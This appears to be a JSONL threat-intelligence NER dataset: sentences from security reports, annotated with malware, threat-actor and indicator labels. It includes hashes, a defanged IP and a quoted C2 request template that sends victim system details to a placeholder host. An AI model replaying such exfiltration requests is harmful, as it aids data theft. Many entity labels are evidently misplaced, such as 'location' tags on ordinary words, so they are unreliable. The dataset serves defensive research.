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{"id":14177,"text":"Waiting for the tipping point","entities":[],"relations":[],"Comments":[]}
{"id":3361,"text":"Python.BIOPASS.A  ee4150f18ed826c032e7407468beea3b1f738ba80b75a6be21bb8d59ee345466","entities":[{"id":10175,"label":"SHA2","start_offset":18,"end_offset":82},{"id":48977,"label":"malware","start_offset":0,"end_offset":16}],"relations":[{"id":532,"from_id":10175,"to_id":48977,"type":"indicates"}],"Comments":[]}
{"id":4886,"text":"We blocked 1.6M messages to targets, displayed ~62K Safe Browsing phishing page warnings, blocked 2.4K files, and successfully restored ~4K accounts.","entities":[],"relations":[],"Comments":[]}
{"id":5238,"text":"After the data are collected, they are encrypted and sent to the (C&C) server.","entities":[],"relations":[],"Comments":[]}
{"id":14260,"text":"We discovered a malware family called Maikspy \u2014 a multi-platform spyware that can steal users\u2019 private data.","entities":[{"id":48469,"label":"malware","start_offset":38,"end_offset":46}],"relations":[],"Comments":[]}
{"id":2459,"text":" We observed a large amount of unique IP addresses during our analysis \u2013 with 2,056 addresses triggering the Spring Core Remote Code Execution Vulnerability signature.","entities":[{"id":47531,"label":"vulnerability","start_offset":109,"end_offset":156}],"relations":[],"Comments":[]}
{"id":1429,"text":"This means it is the developer\u2019s responsibility to keep the private key safe, whether that developer is a 13-year-old or a multi-national company.","entities":[],"relations":[],"Comments":[]}
{"id":13449,"text":"Recently observed COLDRIVER credential phishing domains: Ghostwriter, a Belarusian threat actor, has remained active during the course of the war and recently resumed targeting of Gmail accounts via credential phishing.","entities":[{"id":41872,"label":"threat-actor","start_offset":18,"end_offset":27},{"id":41873,"label":"attack-pattern","start_offset":39,"end_offset":47},{"id":41874,"label":"threat-actor","start_offset":57,"end_offset":68},{"id":41876,"label":"location","start_offset":142,"end_offset":145},{"id":41877,"label":"location","start_offset":146,"end_offset":149},{"id":41879,"label":"attack-pattern","start_offset":210,"end_offset":218}],"relations":[],"Comments":[]}
{"id":14156,"text":"Expanding EDR to include other areas is the definition of XDR.","entities":[],"relations":[],"Comments":[]}
{"id":4361,"text":"Therefore, it\u2019s highly likely that Confucius will continue to experiment and try out different kinds of social engineering lures in future campaigns.","entities":[],"relations":[],"Comments":[]}
{"id":5107,"text":"We hope that improved understanding of the tactics and techniques will enhance threat hunting capability and lead to stronger user protections across industry.","entities":[],"relations":[],"Comments":[]}
{"id":1482,"text":"These developers help customers build mobile apps for their businesses easily and quickly.","entities":[],"relations":[],"Comments":[]}
{"id":2180,"text":"Updated June 3, 2022, at 3:30 p.m. PT.","entities":[{"id":47313,"label":"TIME","start_offset":8,"end_offset":37}],"relations":[],"Comments":[]}
{"id":10151,"text":"Political targets","entities":[],"relations":[],"Comments":[]}
{"id":13070,"text":"The risk assessment described in this document aims to assess and prioritize the risks of the entire smart factory environment, including IT.","entities":[],"relations":[],"Comments":[]}
{"id":4934,"text":"Attackers sent email messages with links to this website to harvest credentials for platforms such as Gmail, Hotmail, and Yahoo.","entities":[{"id":50954,"label":"SOFTWARE","start_offset":122,"end_offset":127},{"id":50952,"label":"SOFTWARE","start_offset":102,"end_offset":107},{"id":50953,"label":"SOFTWARE","start_offset":109,"end_offset":116}],"relations":[],"Comments":[]}
{"id":4487,"text":"We believe its use is growing, fueled by demand from governments.","entities":[],"relations":[],"Comments":[]}
{"id":7489,"text":"Another example of a header allegedly from the Ministry of Internal Affairs of Tajikistan","entities":[],"relations":[],"Comments":[]}
{"id":2230,"text":" The final payload proceeds to generate the following mutex to ensure only one copy of the malware is running concurrently:  Global\\SPPLMUTEX  The payload then spawns two threads\u2014one to maintain persistence and another to gather victim information and perform command and control operations.","entities":[],"relations":[],"Comments":[]}
{"id":4124,"text":"The backdoor functions of SSL version SmileSvr are similar to the ICMP ones.","entities":[],"relations":[],"Comments":[]}
{"id":10299,"text":"IMAP RAT  Trojan.MSIL.OCEANMAP.A  Troj","entities":[],"relations":[],"Comments":[]}
{"id":7421,"text":"However, they are particularly known for dangerous credential phishing campaigns.","entities":[{"id":23080,"label":"location","start_offset":14,"end_offset":17},{"id":23081,"label":"attack-pattern","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":1339,"text":" The malware attempts to ensure Internet connectivity by making a request to www.microsoft.com.","entities":[{"id":46670,"label":"DOMAIN","start_offset":77,"end_offset":94}],"relations":[],"Comments":[]}
{"id":6283,"text":"The Bash Uploader script allows its customers to send code coverage reports to the Codecov platform for analysis.","entities":[],"relations":[],"Comments":[]}
{"id":6779,"text":"Opening this file (MITRE ATT&CK framework ID T1204) executes the template injection method (MITRE ATT&CK framework ID T1221).","entities":[],"relations":[],"Comments":[]}
{"id":14344,"text":"The spyware connects to 107[.]180[.]46[.]243.","entities":[{"id":44322,"label":"IPV4","start_offset":24,"end_offset":44}],"relations":[],"Comments":[]}
{"id":2544,"text":" Exploit Public-Facing Application [T1190], Spearphishing Attachment [T1566.001]  Windows Command Shell [T1059.003], Native API [T1106]  Deobfuscate\/Decode Files or Information [T1140], Obfuscated Files or Information [T1027], Dynamic-link Library Injection [T1055.001]  File and Directory Discovery [T1083], Network Share Discovery [T1135], Process Discovery [T1057], System Network Configuration Discovery [T1016], System Network Connections Discovery [T1049]  SMB\/Windows Admin Shares [T1021.002], Taint Shared Content [T1080]  Data Encrypted for Impact [T1486], Inhibit System Recovery [T1490], Service Stop [T1489]  Table 1.","entities":[{"id":45576,"label":"attack-pattern","start_offset":82,"end_offset":115},{"id":45577,"label":"attack-pattern","start_offset":117,"end_offset":135},{"id":45579,"label":"attack-pattern","start_offset":186,"end_offset":225},{"id":45580,"label":"attack-pattern","start_offset":227,"end_offset":269},{"id":45584,"label":"attack-pattern","start_offset":369,"end_offset":415},{"id":45586,"label":"attack-pattern","start_offset":463,"end_offset":499},{"id":45575,"label":"attack-pattern","start_offset":44,"end_offset":80},{"id":45587,"label":"attack-pattern","start_offset":501,"end_offset":529},{"id":45590,"label":"attack-pattern","start_offset":599,"end_offset":619},{"id":45574,"label":"attack-pattern","start_offset":1,"end_offset":42},{"id":45585,"label":"attack-pattern","start_offset":417,"end_offset":461},{"id":45578,"label":"attack-pattern","start_offset":137,"end_offset":184},{"id":45581,"label":"attack-pattern","start_offset":271,"end_offset":307},{"id":45582,"label":"attack-pattern","start_offset":309,"end_offset":340},{"id":45583,"label":"attack-pattern","start_offset":342,"end_offset":367},{"id":45588,"label":"attack-pattern","start_offset":531,"end_offset":564},{"id":45589,"label":"attack-pattern","start_offset":566,"end_offset":597}],"relations":[],"Comments":[]}
{"id":6573,"text":"The email address admin@93[.]gd is linked to IP addresses owned by a certain user with the nickname \u201cPIG GOD\u201d\u2014another reference to Hack520\u2019s passion for pigs.","entities":[],"relations":[],"Comments":[]}
{"id":9913,"text":"These aggregators get data from very few C&C servers (only 1 or 2), with only up to a dozen victims per unique C&C domain.","entities":[],"relations":[],"Comments":[]}
{"id":9965,"text":"Operation Red Signature\u2019s attack chain","entities":[{"id":30434,"label":"threat-actor","start_offset":0,"end_offset":23}],"relations":[],"Comments":[]}
{"id":2826,"text":"This \u201ckillswitch\u201d will prevent the WanaCrypt0r ransomware from executing.","entities":[{"id":45713,"label":"malware","start_offset":35,"end_offset":46}],"relations":[],"Comments":[]}
{"id":457,"text":" A Domain Generation Algorithm is a program that is designed to generate domain names in a particular fashion.","entities":[],"relations":[],"Comments":[]}
{"id":424,"text":"Mining is also a computationally intensive process, meaning it takes a lot of system resources.","entities":[],"relations":[],"Comments":[]}
{"id":1509,"text":" While running the btdaemon process also inspects whether there is an \".IptabLes\" or \".IptabLex\" local process, and sends back status for monitoring purposes.  If the \"disablerun\" command is sent the backdoor will download a file named \"run.txt\" from one of the following URLs:  The file data is in the format \"exe_path_1 | exe_path_2 | ... | exe_path_N\".  If none of the paths is correct then a \"getsetup.rar\" file is downloaded and run.","entities":[{"id":45035,"label":"FILEPATH","start_offset":397,"end_offset":409},{"id":45037,"label":"FILEPATH","start_offset":237,"end_offset":244}],"relations":[],"Comments":[]}
{"id":13481,"text":"Our products are designed with robust built-in security features, like Gmail protections against phishing and Safe Browsing in Chrome, but we still dedicate significant resources to developing new tools and technology to help identify, track and stop this kind of activity.","entities":[],"relations":[],"Comments":[]}
{"id":920,"text":"After running the clean up script the malware overwrites the \u2018\\CData\\C\u2019 registry key with a value of zero, which removes the unique SHA256 key.","entities":[{"id":46441,"label":"REGISTRYKEY","start_offset":62,"end_offset":70}],"relations":[],"Comments":[]}
{"id":2467,"text":"In fact, the top three filenames \u2013 tomcarwar.jsp, checkexploit.jsp and javatestfila.jsp \u2013 account for over 84% of the activity with known webshell filenames.","entities":[{"id":47537,"label":"FILEPATH","start_offset":35,"end_offset":48},{"id":47539,"label":"FILEPATH","start_offset":71,"end_offset":87},{"id":47538,"label":"FILEPATH","start_offset":50,"end_offset":66},{"id":47540,"label":"attack-pattern","start_offset":138,"end_offset":146}],"relations":[],"Comments":[]}
{"id":6108,"text":"Table 2 contains details of a PlugX sample using the PixelPlus Co., Ltd certificate that is currently only detected by four AV vendors.","entities":[{"id":18892,"label":"malware","start_offset":30,"end_offset":35},{"id":18893,"label":"location","start_offset":36,"end_offset":42},{"id":18895,"label":"location","start_offset":102,"end_offset":106}],"relations":[],"Comments":[]}
{"id":3808,"text":"Abusing Microsoft Word's \"Frames\/Frameset\"","entities":[{"id":49681,"label":"SOFTWARE","start_offset":8,"end_offset":22}],"relations":[],"Comments":[]}
{"id":10868,"text":"Figure 9.","entities":[],"relations":[],"Comments":[]}
{"id":5530,"text":"The problem (for them) with the more traditional types of attack targeting back-end databases, is that these organizations may store card data encrypted, or else minus the crucial CVV\/CV2 code.","entities":[],"relations":[],"Comments":[]}
{"id":7602,"text":"RMS RAT is added to the startup registry and executed Updates on TA505's tactics, techniques and procedures","entities":[{"id":23681,"label":"location","start_offset":24,"end_offset":31},{"id":23682,"label":"location","start_offset":41,"end_offset":44},{"id":23683,"label":"threat-actor","start_offset":65,"end_offset":70},{"id":23684,"label":"location","start_offset":93,"end_offset":96}],"relations":[],"Comments":[]}
{"id":12059,"text":"APT35 has relied on this technique since 2017 \u2014 targeting high-value accounts in government, academia, journalism, NGOs, foreign policy, and national security.","entities":[{"id":37317,"label":"threat-actor","start_offset":0,"end_offset":5},{"id":37319,"label":"location","start_offset":93,"end_offset":101},{"id":37321,"label":"location","start_offset":137,"end_offset":140},{"id":37322,"label":"location","start_offset":141,"end_offset":149},{"id":37323,"label":"location","start_offset":150,"end_offset":158}],"relations":[],"Comments":[]}
{"id":13931,"text":"              Conclusion","entities":[],"relations":[],"Comments":[]}
{"id":7760,"text":"As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates.","entities":[{"id":24074,"label":"malware","start_offset":70,"end_offset":81},{"id":24075,"label":"location","start_offset":86,"end_offset":89}],"relations":[],"Comments":[]}
{"id":4182,"text":"Organizations can also find capable security solutions that can help interpret and respond to malicious activities, techniques, and movements before the threat can culminate and affect an enterprise.","entities":[],"relations":[],"Comments":[]}
{"id":5656,"text":"We have also taken extraordinary measures beyond our actions against coordinated influence operations to protect users and stop the spread of misinformation and disinformation about the war in Ukraine online.","entities":[{"id":17413,"label":"location","start_offset":119,"end_offset":122},{"id":17414,"label":"malware","start_offset":123,"end_offset":127},{"id":17415,"label":"location","start_offset":157,"end_offset":160},{"id":17416,"label":"location","start_offset":186,"end_offset":189}],"relations":[],"Comments":[]}
{"id":5429,"text":"  Organizations can protect themselves from Cyclops Blink attacks by using strong passwords and re-examining their security measures.","entities":[{"id":51433,"label":"malware","start_offset":44,"end_offset":57}],"relations":[],"Comments":[]}
{"id":4809,"text":"However, the 'DoS' consists only of a single GET request to the target website, not enough to be effective.","entities":[{"id":50725,"label":"attack-pattern","start_offset":14,"end_offset":17}],"relations":[],"Comments":[]}
{"id":4347,"text":"In this instance, the campaign impersonated the Pakistani Defense Housing Authority.","entities":[{"id":50132,"label":"identity","start_offset":48,"end_offset":83}],"relations":[],"Comments":[]}
{"id":11861,"text":"The links led to attacker-controlled domains that mimicked legitimate websites related to the targeted users.","entities":[],"relations":[],"Comments":[]}
{"id":13470,"text":"The pandemic has taken center stage in people\u2019s everyday lives, in the international news media, and in the world of government-backed hacking.","entities":[],"relations":[],"Comments":[]}
{"id":1347,"text":"This malware disables Windows Defender Threat Protection, is destructive in nature and was discovered to have targeted multiple organizations in Ukraine.","entities":[{"id":44970,"label":"SOFTWARE","start_offset":22,"end_offset":56},{"id":44971,"label":"location","start_offset":145,"end_offset":152}],"relations":[],"Comments":[]}
{"id":13581,"text":"Some of the delivered malicious scripts attempt to install backdoors to the websites built with the EC-CUBE framework, which is popular in Japan.","entities":[{"id":51662,"label":"tools","start_offset":100,"end_offset":117},{"id":51664,"label":"malware","start_offset":22,"end_offset":39},{"id":51663,"label":"location","start_offset":139,"end_offset":144}],"relations":[{"id":1125,"from_id":51662,"to_id":51663,"type":"related-to"},{"id":1126,"from_id":51664,"to_id":51662,"type":"targets"}],"Comments":[]}
{"id":10359,"text":"introduces the affected machine to the C&C server PRB-History","entities":[],"relations":[],"Comments":[]}
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{"id":3875,"text":"A comprehensive security strategy that involves proactive incident response will need the input of both decision makers and tech-savvy personnel, as they will need to be on the same page for it to be effective.","entities":[],"relations":[],"Comments":[]}
{"id":8936,"text":"After looking at previous versions of this installer, we found that the first compromised version was 2.3.0, built on May 26, 2022, while the previous version (2.2.10, published on May 6, 2022) was clean.","entities":[],"relations":[],"Comments":[]}
{"id":12415,"text":"Their blog contains write-ups and analysis of vulnerabilities that have been publicly disclosed, including \u201cguest\u201d posts from unwitting legitimate security researchers, likely in an attempt to build additional credibility with other security researchers.","entities":[{"id":38597,"label":"threat-actor","start_offset":26,"end_offset":29},{"id":38598,"label":"location","start_offset":30,"end_offset":33},{"id":38599,"label":"location","start_offset":147,"end_offset":155},{"id":38600,"label":"location","start_offset":169,"end_offset":175},{"id":38601,"label":"location","start_offset":233,"end_offset":241}],"relations":[],"Comments":[]}
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{"id":11645,"text":"One of the normal applications, called \u201cOpinionPoll,\u201d is a survey app for gathering opinions regarding the Nepal-India political map dispute, which seems to be another political lure similar to the one they used in the spear-phishing portion.","entities":[{"id":35739,"label":"location","start_offset":11,"end_offset":17},{"id":35741,"label":"location","start_offset":59,"end_offset":65},{"id":35744,"label":"location","start_offset":178,"end_offset":182},{"id":35745,"label":"location","start_offset":198,"end_offset":201},{"id":35746,"label":"location","start_offset":219,"end_offset":224},{"id":35747,"label":"attack-pattern","start_offset":225,"end_offset":233}],"relations":[],"Comments":[]}
{"id":13105,"text":"Most either use ROS\/ROS2 in their products, for example as robot manufacturers, or they want to help develop the software.","entities":[],"relations":[],"Comments":[]}
{"id":3105,"text":"This means that prevention against attacks will have to focus on specific malware, attacks, and hosting sites as they emerge.","entities":[],"relations":[],"Comments":[]}
{"id":1973,"text":" It should be noted that a client could send a crafted packet to the server without needing to start an RDP session.","entities":[],"relations":[],"Comments":[]}
{"id":5353,"text":"It\u2019s important to note, however, that since the malware is modular in nature, it can be easily recompiled to target any other device.","entities":[],"relations":[],"Comments":[]}
{"id":810,"text":"Technology is also catching up; recent advances in two-factor\/multi-factor authentication (2FA\/MFA) and one-time passwords (OTP) represent the best long-term approaches to preventing credential theft.","entities":[{"id":46363,"label":"attack-pattern","start_offset":183,"end_offset":199}],"relations":[],"Comments":[]}
{"id":10138,"text":"Figure 1. A sample of a credential phishing email Pawn Storm sent in October and November 2017  Figure 2.","entities":[{"id":30914,"label":"location","start_offset":12,"end_offset":18},{"id":30915,"label":"attack-pattern","start_offset":35,"end_offset":43}],"relations":[],"Comments":[]}
{"id":12689,"text":"This finding sparked an investigation that led us to identify, with high confidence, multiple online services offered by the individuals operating the Glupteba botnet.","entities":[{"id":39375,"label":"location","start_offset":73,"end_offset":83},{"id":39376,"label":"malware","start_offset":151,"end_offset":159}],"relations":[],"Comments":[]}
{"id":4013,"text":"         Tags  Latest News | ICS OT | APT & Targeted Attacks | IoT |","entities":[],"relations":[],"Comments":[]}
{"id":286,"text":" If you think you may have been compromised by wiper attacks, Gamaredon, DDoS attacks or other cyber activity related to Russia-Ukraine, or have an urgent matter, get in touch with the Unit 42 Incident Response team or call North America Toll-Free: 866.486.4842 (866.4.UNIT42), EMEA: +31.20.299.3130, APAC: +65.6983.8730, or Japan: +81.50.1790.0200.","entities":[{"id":45972,"label":"threat-actor","start_offset":62,"end_offset":71},{"id":45975,"label":"location","start_offset":325,"end_offset":330},{"id":45976,"label":"location","start_offset":301,"end_offset":305},{"id":45979,"label":"identity","start_offset":185,"end_offset":215},{"id":45973,"label":"attack-pattern","start_offset":73,"end_offset":85},{"id":45974,"label":"location","start_offset":224,"end_offset":237},{"id":45977,"label":"location","start_offset":278,"end_offset":282},{"id":45980,"label":"attack-pattern","start_offset":47,"end_offset":60}],"relations":[],"Comments":[]}
{"id":1240,"text":"This means more than 86% of Android users do not benefit from this enhancement and are vulnerable.","entities":[{"id":46621,"label":"SOFTWARE","start_offset":28,"end_offset":35}],"relations":[],"Comments":[]}
{"id":2002,"text":" The file description included the entry VlahmAV, a play on words on ClamAV, and the developer named the ransomware HelloXD and used another potential alias, uKnow, as the developer of HelloXD in the copyright section.","entities":[{"id":47109,"label":"SOFTWARE","start_offset":69,"end_offset":75},{"id":47111,"label":"malware","start_offset":116,"end_offset":123},{"id":47112,"label":"malware","start_offset":158,"end_offset":163},{"id":47110,"label":"malware","start_offset":185,"end_offset":192}],"relations":[{"id":302,"from_id":47110,"to_id":47112,"type":"duplicate-of"},{"id":301,"from_id":47111,"to_id":47112,"type":"duplicate-of"}],"Comments":[]}
{"id":13476,"text":"The lures themselves encourage individuals to sign up for direct notifications from the WHO to stay informed of COVID-19 related announcements, and link to attacker-hosted websites that bear a strong resemblance to the official WHO website.","entities":[],"relations":[],"Comments":[]}
{"id":6165,"text":"Exploiting a webmail system\u2019s cross-site scripting (XSS) vulnerability to allow their malicious JavaScript to be injected on the webmail page permanently.","entities":[{"id":19061,"label":"location","start_offset":30,"end_offset":35},{"id":19062,"label":"attack-pattern","start_offset":41,"end_offset":50},{"id":19063,"label":"attack-pattern","start_offset":52,"end_offset":55},{"id":19064,"label":"location","start_offset":137,"end_offset":141}],"relations":[],"Comments":[]}
{"id":1805,"text":"The attackers gathered system information using available tools such as whoami and systeminfo, as well as PowerShell commands.","entities":[{"id":5324,"label":"tools","start_offset":83,"end_offset":93},{"id":5325,"label":"tools","start_offset":106,"end_offset":116},{"id":46929,"label":"tools","start_offset":72,"end_offset":78}],"relations":[],"Comments":[]}
{"id":422,"text":" \u201cCoin miner\u201d code is code used to \u201cmine\u201d for digital currency like bitcoin.","entities":[{"id":46118,"label":"malware","start_offset":2,"end_offset":12},{"id":46119,"label":"SOFTWARE","start_offset":68,"end_offset":75}],"relations":[],"Comments":[]}
{"id":4670,"text":"POST http:\/\/{C2}\/?Key={GUID}&Crc={Identifier} { \"appName\": \"Gmail Downloader\", \"targetname\": \"{Email}\", \"HostName\": \"REDACTED\", \"srcUserIP\": \"REDACTED\", \"actionType\": \"First\", \"timeOccurrence\": \"05\/01\/2022 05:50:31 PM\", \"OS\": \"REDACTED\", \"OSVersion\": \"REDACTED\", \"SystemModel\": \"REDACTED\", \"SystemType\": \"REDACTED\", \"srcName\": \"REDACTED\", \"srcOrgName\": \"REDACTED\" }","entities":[{"id":50573,"label":"TIME","start_offset":195,"end_offset":217},{"id":14144,"label":"URL","start_offset":5,"end_offset":44}],"relations":[],"Comments":[]}
{"id":10928,"text":"Version 2 has an ability to execute \u201csu\u201d command, if the device is rooted.","entities":[],"relations":[],"Comments":[]}
{"id":5682,"text":"Full details of Glupteba\u2019s network protocol can be found in this report from 2020, the following Python script illustrates how one can decrypt an encrypted domain name:","entities":[{"id":17519,"label":"malware","start_offset":16,"end_offset":24},{"id":17520,"label":"location","start_offset":44,"end_offset":47},{"id":17522,"label":"location","start_offset":127,"end_offset":130},{"id":17523,"label":"location","start_offset":131,"end_offset":134}],"relations":[],"Comments":[]}
{"id":5124,"text":"What does impact you is the vast majority of organized cybercriminals who are out to make a profit.","entities":[],"relations":[],"Comments":[]}
{"id":2798,"text":"This post is also available in:      \u65e5\u672c\u8a9e (Japanese)  This Unit 42 blog provides an update on the threat situation surrounding the WanaCrypt0r ransomware attacks and how the attack propagates.","entities":[{"id":48014,"label":"identity","start_offset":58,"end_offset":65},{"id":48015,"label":"malware","start_offset":130,"end_offset":141}],"relations":[],"Comments":[]}
{"id":13434,"text":"As always, we continue to publish details surrounding the actions we take against coordinated influence operations in our quarterly TAG bulletin.","entities":[],"relations":[],"Comments":[]}
{"id":1352,"text":"Protections against WhisperGate malware have been included in Cortex XDR, as well as in the WildFire and Advanced URL Filtering subscriptions for the Next-Generation Firewall.","entities":[{"id":4060,"label":"SOFTWARE","start_offset":92,"end_offset":100},{"id":4058,"label":"malware","start_offset":20,"end_offset":31},{"id":46683,"label":"SOFTWARE","start_offset":62,"end_offset":72}],"relations":[],"Comments":[]}
{"id":6003,"text":"TAG has also continued to observe multiple ransomware brokers continuing to operate in a business as usual sense.","entities":[],"relations":[],"Comments":[]}
{"id":4523,"text":"We also provide research grants to security researchers to help fund and support the research community.","entities":[],"relations":[],"Comments":[]}
{"id":3584,"text":"The default attribute shown in clear text in the final binary We now have solid evidence that CyaX_Sharp was obfuscated using a modified version of ConfuserEx.","entities":[{"id":49365,"label":"tools","start_offset":94,"end_offset":104},{"id":49366,"label":"tools","start_offset":148,"end_offset":158}],"relations":[],"Comments":[]}
{"id":1171,"text":"Enjoy.","entities":[],"relations":[],"Comments":[]}
{"id":4584,"text":" As ZDI predicted, 2021 continued to be a busy year.","entities":[{"id":50434,"label":"identity","start_offset":4,"end_offset":7},{"id":50435,"label":"TIME","start_offset":19,"end_offset":23}],"relations":[],"Comments":[]}
{"id":7330,"text":"Indicators of Compromise  SHA-256  Filename\/Description  Trend Micro Pattern Detection  cfa3d506361920f9e1db9d8324dfbb3a9c79723e702d70c3dc8f51825c171420   ALL%20tim%20nha%20Chi%20Ngoc%20Canada.zip  Backdoor.MacOS.OCEANLOTUS.F  48e3609f543ea4a8de0c9375fa665ceb6d2dfc0085ee90fa22ffaced0c770c4f  ALL tim","entities":[{"id":22819,"label":"location","start_offset":63,"end_offset":68},{"id":22820,"label":"SHA2","start_offset":88,"end_offset":152},{"id":22821,"label":"MD5","start_offset":227,"end_offset":291}],"relations":[],"Comments":[]}
{"id":3083,"text":"   Overview  ","entities":[],"relations":[],"Comments":[]}
{"id":10674,"text":"Overread","entities":[],"relations":[],"Comments":[]}
{"id":5028,"text":"Within these files is a link to an attacker controlled phishing domain.","entities":[],"relations":[],"Comments":[]}
{"id":4161,"text":"We found several identifying features of the threat actors within the techniques and tools described in the preceding sections, and we break down the factors in the following.","entities":[],"relations":[],"Comments":[]}
{"id":1061,"text":"This can also be used to grant the malware full administrative privileges on the device.","entities":[],"relations":[],"Comments":[]}
{"id":1185,"text":" Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!","entities":[],"relations":[],"Comments":[]}
{"id":5524,"text":"In what way?","entities":[],"relations":[],"Comments":[]}
{"id":3938,"text":" It specifically scans for web server-related vulnerabilities and password weaknesses in Apache Tomcat, Citrix, and phpMyAdmin applications.","entities":[{"id":49783,"label":"SOFTWARE","start_offset":104,"end_offset":110},{"id":49784,"label":"SOFTWARE","start_offset":116,"end_offset":126},{"id":49782,"label":"SOFTWARE","start_offset":89,"end_offset":102}],"relations":[],"Comments":[]}
{"id":5800,"text":"Cyber is that one space such as air dominance, for example, right?","entities":[],"relations":[],"Comments":[]}
{"id":2405,"text":"We also added a section on indicators.","entities":[],"relations":[],"Comments":[]}
{"id":1183,"text":"i need some money!","entities":[],"relations":[],"Comments":[]}
{"id":13010,"text":"We also send all targeted Gmail and Workspace users government-backed attacker alerts notifying them of the activity.","entities":[{"id":48821,"label":"SOFTWARE","start_offset":26,"end_offset":32}],"relations":[],"Comments":[]}
{"id":8389,"text":"In 2019, we confronted the risks posed by NSO Group again, relying upon NSO Groups\u2019s marketing information suggesting that they had a 0-day exploit for Android.","entities":[],"relations":[],"Comments":[]}
{"id":4851,"text":"These credential phishing campaigns have ranged from targeting specific government organizations to AWS accounts to Gmail accounts.","entities":[{"id":50825,"label":"campaign","start_offset":6,"end_offset":35},{"id":50826,"label":"SOFTWARE","start_offset":100,"end_offset":103},{"id":50827,"label":"SOFTWARE","start_offset":116,"end_offset":121}],"relations":[],"Comments":[]}
{"id":14182,"text":"Reports suggest tens of thousands of cybersecurity professionals there have enlisted as volunteers to help the country\u2019s efforts.","entities":[],"relations":[],"Comments":[]}
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{"id":27,"text":" So, what is driving a widespread shift from attackers and creating a significant trend in the industry?","entities":[],"relations":[],"Comments":[]}
{"id":6449,"text":"When the RemoteUtilities software is executed, its process launches msiexec.exe with the following command:","entities":[],"relations":[],"Comments":[]}
{"id":6221,"text":"The script used to establish WebSocket communication      Figure 15.","entities":[],"relations":[],"Comments":[]}
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{"id":3478,"text":"Figure 5.","entities":[],"relations":[],"Comments":[]}
{"id":7990,"text":"The phishing typically started with a customized email introducing the company and its products.","entities":[{"id":24769,"label":"attack-pattern","start_offset":4,"end_offset":12},{"id":24770,"label":"location","start_offset":79,"end_offset":82}],"relations":[],"Comments":[]}
{"id":1688,"text":" How it Works","entities":[],"relations":[],"Comments":[]}
{"id":6323,"text":"That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the \u201cbiggest release for Brute Ratel till date.\u201d  However, of greater concern, the release description also specifically noted that \u201cthis release was built after reverse engineering several top tier EDR and Antivirus DLLs.\u201d  ","entities":[{"id":19626,"label":"location","start_offset":125,"end_offset":129},{"id":19627,"label":"attack-pattern","start_offset":245,"end_offset":264},{"id":19628,"label":"location","start_offset":286,"end_offset":289}],"relations":[],"Comments":[]}
{"id":8617,"text":"The following are samples using this evasion: https:\/\/www.virustotal.com\/gui\/file\/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f\/detection","entities":[{"id":26619,"label":"location","start_offset":14,"end_offset":17},{"id":26620,"label":"SHA1","start_offset":46,"end_offset":156}],"relations":[],"Comments":[]}
{"id":2879,"text":"Last year, exploitation of CVE-2013-3163 targeted Internet Explorer 8 and earlier this year, we found exploitation of CVE-2014-0322 in Internet Explorer 10.","entities":[{"id":48076,"label":"vulnerability","start_offset":27,"end_offset":40},{"id":48077,"label":"SOFTWARE","start_offset":50,"end_offset":69},{"id":48079,"label":"SOFTWARE","start_offset":135,"end_offset":155},{"id":48078,"label":"vulnerability","start_offset":118,"end_offset":131}],"relations":[{"id":385,"from_id":48077,"to_id":48076,"type":"has"},{"id":386,"from_id":48079,"to_id":48078,"type":"has"}],"Comments":[]}
{"id":463,"text":"By using an algorithm to build the list of domains, the attackers also make it harder for defenders to know or predict what domains will be used than if they had a simple list of domains.","entities":[],"relations":[],"Comments":[]}
{"id":2250,"text":"The remaining lines are then parsed.","entities":[],"relations":[],"Comments":[]}
{"id":5458,"text":" Please mark, I'm not a robot!","entities":[],"relations":[],"Comments":[]}
{"id":2923,"text":" Monero is a cryptocurrency similar to bitcoin but notable for its increased emphasis on providing a higher level of privacy around its transactions.","entities":[{"id":48095,"label":"SOFTWARE","start_offset":1,"end_offset":7}],"relations":[],"Comments":[]}
{"id":14048,"text":"TTPs Correlation","entities":[],"relations":[],"Comments":[]}
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{"id":3552,"text":"After some data collection we found more than 300 samples that correlate to the mentioned indicators that were recently very active  our first detections occurred in August, with the campaign itself still ongoing (having occasional spikes in between).","entities":[{"id":49335,"label":"TIME","start_offset":166,"end_offset":172}],"relations":[],"Comments":[]}
{"id":10203,"text":"Some commodity malware used included RedLine, Vidar, Predator The Thief, Nexus stealer, Azorult, Raccoon, Grand Stealer, Vikro Stealer, Masad (Google\u2019s naming), and Kantal (Google\u2019s naming) which shares code similarity with Vidar.","entities":[{"id":31165,"label":"malware","start_offset":79,"end_offset":86},{"id":31172,"label":"location","start_offset":161,"end_offset":164}],"relations":[],"Comments":[]}
{"id":10190,"text":"Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.","entities":[{"id":31113,"label":"location","start_offset":9,"end_offset":15},{"id":31114,"label":"location","start_offset":30,"end_offset":34},{"id":31115,"label":"location","start_offset":46,"end_offset":53},{"id":31116,"label":"tools","start_offset":54,"end_offset":58},{"id":31118,"label":"location","start_offset":141,"end_offset":144},{"id":31120,"label":"attack-pattern","start_offset":193,"end_offset":201}],"relations":[],"Comments":[]}
{"id":1436,"text":"To view the certificate information just open the given APK file as a zip file.","entities":[],"relations":[],"Comments":[]}
{"id":3546,"text":"The Trend Micro\u2122 Hosted Email Security no-maintenance cloud solution delivers continuously updated protection to stop spam, malware, spear phishing, and advanced targeted attacks before they reach the network.","entities":[{"id":49326,"label":"attack-pattern","start_offset":153,"end_offset":178},{"id":49324,"label":"identity","start_offset":4,"end_offset":15},{"id":49325,"label":"attack-pattern","start_offset":133,"end_offset":147}],"relations":[],"Comments":[]}
{"id":10161,"text":"This makes them vulnerable to hacking and spear phishing.","entities":[{"id":31012,"label":"location","start_offset":11,"end_offset":15},{"id":31013,"label":"location","start_offset":38,"end_offset":41},{"id":31014,"label":"attack-pattern","start_offset":42,"end_offset":56}],"relations":[],"Comments":[]}
{"id":8835,"text":"The batch file that was to be executed had a suspicious name that stood out.","entities":[],"relations":[],"Comments":[]}
{"id":5040,"text":" Upon discovery, all identified websites and domains were added to Safe Browsing to protect users from further exploitation.","entities":[{"id":51123,"label":"SOFTWARE","start_offset":67,"end_offset":80}],"relations":[],"Comments":[]}
